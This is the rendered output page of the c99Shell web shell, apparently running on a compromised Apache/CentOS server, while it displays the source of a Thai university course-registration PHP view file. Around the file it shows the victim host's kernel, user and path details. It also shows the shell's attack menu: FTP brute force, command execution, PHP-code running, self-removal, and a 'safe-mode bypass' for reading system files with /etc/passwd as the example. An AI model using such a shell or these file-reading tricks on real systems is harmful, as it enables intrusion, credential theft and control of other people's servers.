!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_showCourseOpenFor.php (3.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td>
            <div align="center"><table width="100%">
                <tr>
                    <td align="center"><span class="h" style="color:<?php echo $font_color_err;?>">กำหนดรายวิชาที่เปิดสอน (เรียนรวมหลายหลักสูตร)</span></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td><span><b>ปีการศึกษา</b>
<?php
                    $js 
"id=\"acY\" onChange=\"sendPost('hidform', {'acY':this.value,'tmId':".$tmId."}, 'cof_show')\"";
                    echo 
form_dropdown('acY'$rs_tmc$acY$js);
?>
                    <b>&nbsp;ภาคการศึกษา</b></span>
<?php
                    $js 
"id=\"acY\" onChange=\"sendPost('hidform', {'acY':".$acY.",'tmId':this.value}, 'cof_show')\"";
                    echo 
form_dropdown('tmId'$rs_tm$tmId$js);
?>
                    </td>
                </tr>
                <tr>
                    <td><table class="headCol">
                        <tr>
                            <th class="groupCol"><span>รหัสวิชา</span></th>
                            <th><span>ชื่อวิชา</span></th>
                            <th class="editCol"><span>กลุ่ม</span></th>
                            <th class="groupCol"><span>หน่วยกิต</span></th>
                            <th class="stdCodeCol"><span>จำนวนที่นั่ง<br>ที่เปิดรับ</span></th>
                            <th class="stdCodeCol"><span>เลือกหลักสูตร</span></th>
                        </tr>
<?php
                $num_rows 
count($rs);
                if (
$num_rows) {
                    foreach (
$rs as $key => $val) {
                        
$row_co $rs[$key]['qu_co']->row();

                        if (
$rs[$key]['rs_cof']->num_rows())
                            
$image base_url().$this->config->item('rg_edit');
                        else
                            
$image base_url().$this->config->item('rg_edit_yell');

                        echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                            <td class="indent"><span><?php echo getval('crsCode'$row_co);?></span></td>
                            <td class="indent"><span><?php echo getval('crsName'$row_co);?></span></td>
                            <td align="center"><span><?php echo getval('coSection'$row_co);?></span></td>
                            <td align="center"><span><?php echo getval('crsUnit'$row_co);?></span></td>
                            <td align="center"><span><?php echo getval('coNumSeatOpen'$row_co);?></span></td>
                            <td align="center"><span class="hand" onClick="sendPost('hidform', {'coId':<?php echo getval('coId'$row_co);?>}, 'cof_input')"><img src="<?php echo $image;?>" width="23" height="19" align="absmiddle" border="0" /></span></td>
                        </tr>
<?php
                    
}
                } else {
?>
                        <tr>
                            <td colspan="6" align="center"><span style="color:<?php echo $font_color_err;?>">** ไม่ปรากฏรายวิชาที่เปิดสอนในฐานข้อมูล **</span></td>
                        </tr>
<?php
                
}
?>
                    </table></td>
                </tr>
            </table></div>
        </td>
    </tr>
    <tr>
        <td height="22" colspan="6" align="right">รวม <?php echo $num_rows;?> รายการ</td>
    </tr>
    <tr>
        <td><table class="mark">
            <tr>
                <td class="coltd_mark"><span class="error"><b>หมายเหตุ : </b></span></td>
                <td><img src="<?php echo base_url().$this->config->item('rg_edit_yell');?>" width="23" height="19" align="absmiddle" border="0">
                <span style="color:<?php echo $font_color_err;?>">&nbsp;ยังไม่เลือกหลักสูตร</span></td>
            </tr>
            <tr>
                <td class="coltd_mark"></td>
                <td><img src="<?php echo base_url().$this->config->item('rg_edit');?>" width="23" height="19" align="absmiddle" border="0">
                <span style="color:<?php echo $font_color_err;?>">&nbsp;เลือกหลักสูตรแล้ว</span></td>
            </tr>
        </table></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0127 ]--